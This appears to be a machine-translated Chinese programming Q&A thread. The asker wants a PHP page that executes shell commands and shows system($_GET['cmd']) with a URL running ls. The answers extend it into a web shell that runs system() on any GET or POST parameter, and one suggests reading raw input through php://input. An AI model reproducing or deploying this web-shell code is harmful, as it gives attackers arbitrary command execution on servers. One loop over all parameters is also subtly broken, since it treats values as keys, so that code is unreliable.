我试图制作一个简单的页面命令执行漏洞......这是我的代码:
system($_GET['cmd']);
工作正常,如下:http://example/index.php?cmd=ls
问题是我想让这个小代码与任何参数和任何方法(GET或POST)一起使用
例如,如果使用任何参数,那么它仍将通过系统方法,即:"?hello = ls"。 (我不知道他们在哪里使用hello
作为关键。任何想法?
答案 0 :(得分:0)
您可以将每个索引键存储在一个数组中,然后循环设置值。
$keys = ['cmd', 'hello', 'etc..']; // jus add your params
// GET params
foreach($keys as $_key) {
if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
system($_GET[$_key]);
}
}
// POST params
foreach($keys as $_key) {
if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
system($_POST[$_key]);
}
}
如果您不想知道POST / GET的密钥,那么:
foreach($_GET as $key) {
system($_GET[$key]);
}
foreach($_POST as $key) {
system($_POST[$key]);
}
答案 1 :(得分:0)
您可以尝试使用:
file_get_contents('php://input');
获取RAW输入